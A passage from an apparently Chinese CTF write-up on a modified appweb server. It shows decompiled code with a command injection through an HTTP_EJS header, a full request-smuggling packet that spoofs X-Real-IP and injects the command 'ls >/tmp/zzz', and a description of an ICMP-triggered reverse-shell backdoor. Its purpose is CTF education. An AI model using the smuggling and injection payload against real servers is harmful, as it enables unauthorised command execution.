style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mprLoadModule</code>打开动态库并且执行初始化函数，初始化函数名称其格式为<strong style="line-height: 1.75;color: rgb(255, 118, 118);">ma<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">name</code>Init</strong>：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">if</span> ((handle = dlopen(path, RTLD_LAZY | RTLD_GLOBAL)) == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>            mprError(ctx, <span style="color: rgb(152, 195, 121);">&#34;Can&#39;t load module %s\nReason: \&#34;%s\&#34;&#34;</span>,  path, dlerror());<br/>        } <span style="color: rgb(198, 120, 221);">else</span> <span style="color: rgb(198, 120, 221);">if</span> (initFunction) {<br/>            <span style="color: rgb(198, 120, 221);">if</span> ((fn = (MprModuleEntry) dlsym(handle, initFunction)) != <span style="color: rgb(209, 154, 102);">0</span>) {<br/>                <span style="color: rgb(198, 120, 221);">if</span> ((mp = (fn)(ctx, path)) == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>                    mprError(ctx, <span style="color: rgb(152, 195, 121);">&#34;Initialization for module %s failed&#34;</span>, module);<br/>                    dlclose(handle);<br/>                } <span style="color: rgb(198, 120, 221);">else</span> {<br/>                    mp-&gt;handle = handle;<br/>                }<br/>            } <span style="color: rgb(198, 120, 221);">else</span> {<br/>                mprError(ctx, <span style="color: rgb(152, 195, 121);">&#34;Can&#39;t load module %s\nReason: can&#39;t find function \&#34;%s\&#34;&#34;</span>,  path, initFunction);<br/>                dlclose(handle);<br/>            }<br/>        }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在初始化函数中，开发者就可以根据传入的MaHttp实例设置stages。stage的结构体为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">struct MaStage</code>里面包含了很多回调函数如：parse、modify、outgoingData等。三要素filter、handler、connector之间的主要区别就在于stage实例的回调函数以调用时机。例如需要一个用户身份验证功能，就可以实现一个filter模块，因为身份验证一般在请求处理(handler进行)之前：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(92, 99, 112);font-style: italic;">/*<br/> *  Loadable module initialization<br/> */</span><br/>MprModule *<span style="color: rgb(97, 174, 238);">maAuthFilterInit</span>(MaHttp *http, cchar *path)<br/>{<br/>    MprModule   *module;<br/>    MaStage     *filter;<br/>    module = mprCreateModule(http, <span style="color: rgb(152, 195, 121);">&#34;authFilter&#34;</span>, BLD_VERSION, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>, <span style="color: rgb(86, 182, 194);">NULL</span>);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (module == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>    }<br/>    filter = maCreateFilter(http, <span style="color: rgb(152, 195, 121);">&#34;authFilter&#34;</span>, MA_STAGE_ALL);<br/>    <span style="color: rgb(198, 120, 221);">if</span> (filter == <span style="color: rgb(209, 154, 102);">0</span>) {<br/>        mprFree(module);<br/>        <span style="color: rgb(198, 120, 221);">return</span> <span style="color: rgb(209, 154, 102);">0</span>;<br/>    }<br/>    http-&gt;authFilter = filter;<br/>    filter-&gt;match = matchAuth; <br/>    filter-&gt;parse = parseAuth; <br/>    <span style="color: rgb(198, 120, 221);">return</span> module;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  前面mprCreateModule，maCreateFilter分别是注册模块和在pipeline上注册filter stage。重点在于parseAuth和matchAuth，parseAuth用于解析conf配置文件比如验证算法、授权用户；matchAuth根据解析情况结合请求进行校验。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  还有实现handler和connect也是类似的。maCreateFilter、maCreateHandler、maCreateConnector之间不同的是对stage-&gt;flags标志的设置。</p><hr style="color: rgb(0, 0, 0);font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;border-color: rgba(0, 0, 0, 0.1);transform-origin: 0px 0px;transform: scale(1, 0.5);"/><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对appweb有个初步认识后，对这个题目就容易理解一些了。从配置文件可知appweb只用来处理对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">ejs/php</code>文件的访问，其中ejs是嵌入式js，是一套简单的语言模板用于动态生成页面。题目中并没有appweb的配置文件，所以写在了maConfigureServer函数中：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.28133704735376047" data-s="300,640" style="" data-type="png" data-w="718" src="https://wechat2rss.xlab.app/img-proxy/?k=bdd57379&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwh7m2MUziaahuia1r7YukHhpzic9uhrQOWr2BgSlLpIYU2IU4icnBIjBlGaw%2F640%3Fwx_fmt%3Dpng"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  但其实只有mod_ejs.so存在，所以就得从他的初始化函数入手。比对源码中的ejs实现可以识别一些函数，改动不是很大，最后定位在matchEjs函数中存在命令注入。</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3159235668789809" data-s="300,640" style="" data-type="png" data-w="785" src="https://wechat2rss.xlab.app/img-proxy/?k=6995f6f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwh7tfCHcOLTn7Oz93PJMiaXIIfvB7uq2ocTbT60kgSeibh5FNMibk8xq1Ug%2F640%3Fwx_fmt%3Dpng"/></p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(209, 154, 102);">int</span> __fastcall <span style="color: rgb(97, 174, 238);">matchEjs</span>(_DWORD *a1, <span style="color: rgb(209, 154, 102);">int</span> a2, _BYTE *a3){<br/>      IS_AUTHORIZE = req_is_auth((<span style="color: rgb(209, 154, 102);">int</span>)a1);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(*(_DWORD *)(v11 + <span style="color: rgb(209, 154, 102);">72</span>), <span style="color: rgb(152, 195, 121);">&#34;/index.ejs&#34;</span>) )<br/>  {<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( IS_AUTHORIZE )<br/>    {<br/>      v13 = mprLookupHash(*(_DWORD *)(v11 + <span style="color: rgb(209, 154, 102);">180</span>), <span style="color: rgb(152, 195, 121);">&#34;HTTP_EJS&#34;</span>);<br/>      system(v13);<br/>      maFormatBody(a1, <span style="color: rgb(152, 195, 121);">&#34;Hello Admin!&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Login successs!&#34;</span>);<br/>      maFailRequest(a1, <span style="color: rgb(209, 154, 102);">200</span>, <span style="color: rgb(152, 195, 121);">&#34;Login successs!&#34;</span>);<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">else</span><br/>    {<br/>      v4 = <span style="color: rgb(230, 192, 123);">strlen</span>(*(_DWORD *)(v11 + <span style="color: rgb(209, 154, 102);">112</span>));<br/>      v9 = <span style="color: rgb(230, 192, 123);">malloc</span>(v4 + <span style="color: rgb(209, 154, 102);">128</span>);<br/>      <span style="color: rgb(230, 192, 123);">sprintf</span>(v9, <span style="color: rgb(152, 195, 121);">&#34;<a href="http://%s:%d/login.html" target="_blank">http://%s:%d/login.html</a>&#34;</span>, *(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> **)(v11 + <span style="color: rgb(209, 154, 102);">112</span>), <span style="color: rgb(209, 154, 102);">59659</span>);<br/>      maFormatBody(a1, <span style="color: rgb(152, 195, 121);">&#34;Forbidden&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Not Authorize! Please Login!&#34;</span>);<br/>      maSetHeader(a1, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(152, 195, 121);">&#34;Location&#34;</span>, v9);<br/>      maFailRequest(a1, <span style="color: rgb(209, 154, 102);">302</span>, <span style="color: rgb(152, 195, 121);">&#34;Not Authorize! Please Login!&#34;</span>);<br/>      <span style="color: rgb(230, 192, 123);">free</span>(v9);<br/>    }<br/>  }<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(*(_DWORD *)(v11 + <span style="color: rgb(209, 154, 102);">72</span>), <span style="color: rgb(152, 195, 121);">&#34;/login_verify.ejs&#34;</span>) )<br/>  {<br/>    v14 = maGetQueryString(a1);<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( v14 )<br/>    {<br/>      v5 = <span style="color: rgb(230, 192, 123);">strlen</span>(v14);<br/>      v15 = <span style="color: rgb(230, 192, 123);">malloc</span>(v5 + <span style="color: rgb(209, 154, 102);">1</span>);<br/>      <span style="color: rgb(230, 192, 123);">strcpy</span>(v15, v14);<br/>      <span style="color: rgb(198, 120, 221);">for</span> ( i = mprStrTok(v15, <span style="color: rgb(152, 195, 121);">&#34;&amp;&#34;</span>, v19); i; i = mprStrTok(<span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(152, 195, 121);">&#34;&amp;&#34;</span>, v19) )<br/>      {<br/>        v16 = <span style="color: rgb(230, 192, 123);">strchr</span>(i, <span style="color: rgb(152, 195, 121);">&#39;=&#39;</span>);<br/>        <span style="color: rgb(198, 120, 221);">if</span> ( v16 )<br/>        {<br/>          v6 = (_BYTE *)v16;<br/>          v17 = v16 + <span style="color: rgb(209, 154, 102);">1</span>;<br/>          *v6 = <span style="color: rgb(209, 154, 102);">0</span>;<br/>          <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(i, <span style="color: rgb(152, 195, 121);">&#34;username&#34;</span>) &amp;&amp; !<span style="color: rgb(230, 192, 123);">strcmp</span>(v17, <span style="color: rgb(152, 195, 121);">&#34;admin&#34;</span>) )<br/>          {<br/>            <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(i, <span style="color: rgb(152, 195, 121);">&#34;password&#34;</span>) &amp;&amp; !<span style="color: rgb(230, 192, 123);">strcmp</span>(v17, <span style="color: rgb(152, 195, 121);">&#34;test123&#34;</span>) )<br/>            {<br/>              IS_AUTHORIZE = <span style="color: rgb(209, 154, 102);">1</span>;<br/>            }<br/>            <span style="color: rgb(198, 120, 221);">else</span><br/>            {<br/>              maFormatBody(a1, <span style="color: rgb(152, 195, 121);">&#34;Auth error&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Password error!&#34;</span>);<br/>              maFailRequest(a1, <span style="color: rgb(209, 154, 102);">403</span>, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;dword_61D8);<br/>            }<br/>          }<br/>          <span style="color: rgb(198, 120, 221);">else</span><br/>          {<br/>            maFormatBody(a1, <span style="color: rgb(152, 195, 121);">&#34;Auth error&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Username error!&#34;</span>);<br/>            maFailRequest(a1, <span style="color: rgb(209, 154, 102);">403</span>, (<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> *)&amp;dword_61D8);<br/>          }<br/>        }<br/>      }<br/>      <span style="color: rgb(230, 192, 123);">free</span>(v15);<br/>    }<br/>    <span style="color: rgb(198, 120, 221);">else</span><br/>    {<br/>      v7 = <span style="color: rgb(230, 192, 123);">strlen</span>(*(_DWORD *)(v11 + <span style="color: rgb(209, 154, 102);">112</span>));<br/>      v10 = <span style="color: rgb(230, 192, 123);">malloc</span>(v7 + <span style="color: rgb(209, 154, 102);">128</span>);<br/>      <span style="color: rgb(230, 192, 123);">sprintf</span>(v10, <span style="color: rgb(152, 195, 121);">&#34;<a href="http://%s:%d/login.ejs" target="_blank">http://%s:%d/login.ejs</a>&#34;</span>, *(<span style="color: rgb(209, 154, 102);">const</span> <span style="color: rgb(209, 154, 102);">char</span> **)(v11 + <span style="color: rgb(209, 154, 102);">112</span>), <span style="color: rgb(209, 154, 102);">59659</span>);<br/>      maFormatBody(a1, <span style="color: rgb(152, 195, 121);">&#34;Forbidden&#34;</span>, <span style="color: rgb(152, 195, 121);">&#34;Not username and password input!&#34;</span>);<br/>      maSetHeader(a1, <span style="color: rgb(209, 154, 102);">0</span>, <span style="color: rgb(152, 195, 121);">&#34;Location&#34;</span>, v10);<br/>      maFailRequest(a1, <span style="color: rgb(209, 154, 102);">302</span>, <span style="color: rgb(152, 195, 121);">&#34;Not username and password input!&#34;</span>);<br/>      <span style="color: rgb(230, 192, 123);">free</span>(v10);<br/>    }<br/>  }<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  整体逻辑为：在访问/index.ejs将会跳转到登录页面，上传参数后进入函数下面的判断逻辑如果验证通过则IS_AUTHORIZE=1，那么然后访问/index.ejs就能通过设置头部成员HTTP_EJS完成命令注入。但是验证逻辑是无法绕过的(逻辑问题)。根据官方WP，在req_is_auth函数中验证了ip是否为本地ip，而在nginx转发时设置了<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">proxy_set_header X-Real-IP $remote_addr</code>所以直接访问也绕不过去：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">BOOL __fastcall <span style="color: rgb(97, 174, 238);">req_is_auth</span>(<span style="color: rgb(209, 154, 102);">int</span> a1)<br/>{<br/>  BOOL result; <span style="color: rgb(92, 99, 112);font-style: italic;">// $v0</span><br/>  <span style="color: rgb(209, 154, 102);">int</span> v2; <span style="color: rgb(92, 99, 112);font-style: italic;">// [sp+18h] [+18h]</span><br/>  v2 = mprLookupHash(*(_DWORD *)(*(_DWORD *)(a1 + <span style="color: rgb(209, 154, 102);">32</span>) + <span style="color: rgb(209, 154, 102);">180</span>), <span style="color: rgb(152, 195, 121);">&#34;HTTP_X_REAL_IP&#34;</span>);<br/>  <span style="color: rgb(198, 120, 221);">if</span> ( v2 )<br/>    result = <span style="color: rgb(230, 192, 123);">strcmp</span>(v2, <span style="color: rgb(152, 195, 121);">&#34;127.0.0.1&#34;</span>) == <span style="color: rgb(209, 154, 102);">0</span>;<br/>  <span style="color: rgb(198, 120, 221);">else</span><br/>    result = <span style="color: rgb(209, 154, 102);">0</span>;<br/>  <span style="color: rgb(198, 120, 221);">return</span> result;<br/>}</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">需要使用http走私，在源码中<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">parseRequest-&gt;parseFirstLine</code>完成对头部第一行的解析，但是题目中修改了对<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">OPTIONS</code>请求的处理：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(key, <span style="color: rgb(152, 195, 121);">&#34;CONTENT_LENGTH&#34;</span>) )<br/>{<br/>    <span style="color: rgb(198, 120, 221);">if</span> ( !<span style="color: rgb(230, 192, 123);">strcmp</span>(req-&gt;methodName, <span style="color: rgb(152, 195, 121);">&#34;OPTIONS&#34;</span>) )<br/>    {<br/>        LODWORD(req-&gt;length) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>        HIDWORD(req-&gt;length) = <span style="color: rgb(209, 154, 102);">0</span>;<br/>    }</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样可以构造OPTIONS请求如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(198, 120, 221);">OPTIONS</span> <span style="color: rgb(152, 195, 121);">/index.ejs</span> <span style="color: rgb(97, 174, 238);">HTTP/1.1</span><br/><span style="color: rgb(152, 195, 121);">Host</span>: 192.168.1.100<br/><span style="color: rgb(152, 195, 121);">User-Agent</span>: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36<br/><span style="color: rgb(152, 195, 121);">Cache-Control</span>: max-age=0<br/><span style="color: rgb(152, 195, 121);">Content-Length</span>: 245<br/><span style="color: rgb(152, 195, 121);">GET</span> /index.ejs HTTP/<span style="color: rgb(209, 154, 102);">1</span>.<span style="color: rgb(209, 154, 102);">1</span><br/><span style="color: rgb(152, 195, 121);">Host</span>: <span style="color: rgb(209, 154, 102);">192.168.1.100</span><br/><span style="color: rgb(152, 195, 121);">User</span>-Agent: Mozilla/<span style="color: rgb(209, 154, 102);">5</span>.<span style="color: rgb(209, 154, 102);">0</span> (Windows NT <span style="color: rgb(209, 154, 102);">10</span>.<span style="color: rgb(209, 154, 102);">0</span>; Win64; x64) AppleWebKit/<span style="color: rgb(209, 154, 102);">537</span>.<span style="color: rgb(209, 154, 102);">36</span> (KHTML, like Gecko) Chrome/<span style="color: rgb(209, 154, 102);">103</span>.<span style="color: rgb(209, 154, 102);">0</span>.<span style="color: rgb(209, 154, 102);">5060</span>.<span style="color: rgb(209, 154, 102);">134</span> Safari/<span style="color: rgb(209, 154, 102);">537</span>.<span style="color: rgb(209, 154, 102);">36</span><br/><span style="color: rgb(152, 195, 121);">X</span>-Real-IP: <span style="color: rgb(209, 154, 102);">127.0.0.1</span><br/><span style="color: rgb(152, 195, 121);">EJS</span>: ls &gt;/tmp/zzz<br/><span style="color: rgb(152, 195, 121);">Cache</span>-Control: max-age=<span style="color: rgb(209, 154, 102);">0</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这样一个数据包就会被服务器识别为两个实现绕过。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">pidr</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  该程序接受ICMP报文并检测数据段中经运算后是否等于本地时间(Mon,day,hour,min)，然后开启一个反向shell，端口由ICMP数据中指定。用C实现ICMP的时候注意报文的checksum字段的计算。</p><h3 style="letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.2;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.1em;font-weight: bold;margin-top: 2em;margin-right: 8px;margin-bottom: 0.75em;padding-left: 8px;border-left: 3px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">raw socket</h3><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  一般使用的SOCK_STREAM、SOCK_DGRAM能够完成核心数据发送与接收，而网络模型协议栈的中间层透明化头部信息全部被剥离recv或者send只有数据对象，即不操控链路层或者网络层数据。SOCK_RAW就是用来操作这两层数据的来实现一些其他的功能(ping, sniffer, routetacer)：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 使用raw socket 可以读写ICMP、IGMP等分组。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 大多数内核只处理IPv4数据报中一个名为协议的8位字段的值为1（ICMP）、2（IGMP）、6（TCP）、17（UDP）四种情况。然而该字段的值还有许多其他值。进程使用raw socket 就可以读写那些内核不处理的IPv4数据报了。因此，可以使用原始套接字定义用户自己的协议格式。</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 通过使用raw socket ，进程可以使用IP_HDRINCL套接口选项自行构造IP头部。这个能力可用于构造特定类型的TCP或UDP分组等。</p></li></ul><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.30857142857142855" data-s="300,640" style="" data-type="jpeg" data-w="350" src="https://wechat2rss.xlab.app/img-proxy/?k=c1bf041d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkbNcB5wPgsosGwPP5FNbBwhbyndCOiaM3HCDBhmiaZYibpVuI20bHlC0Jorf3hFAkNmAjLG1RfcW58VQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  SOCK_RAW具体实现上可以分为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">链路层原始套接字</code>和<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 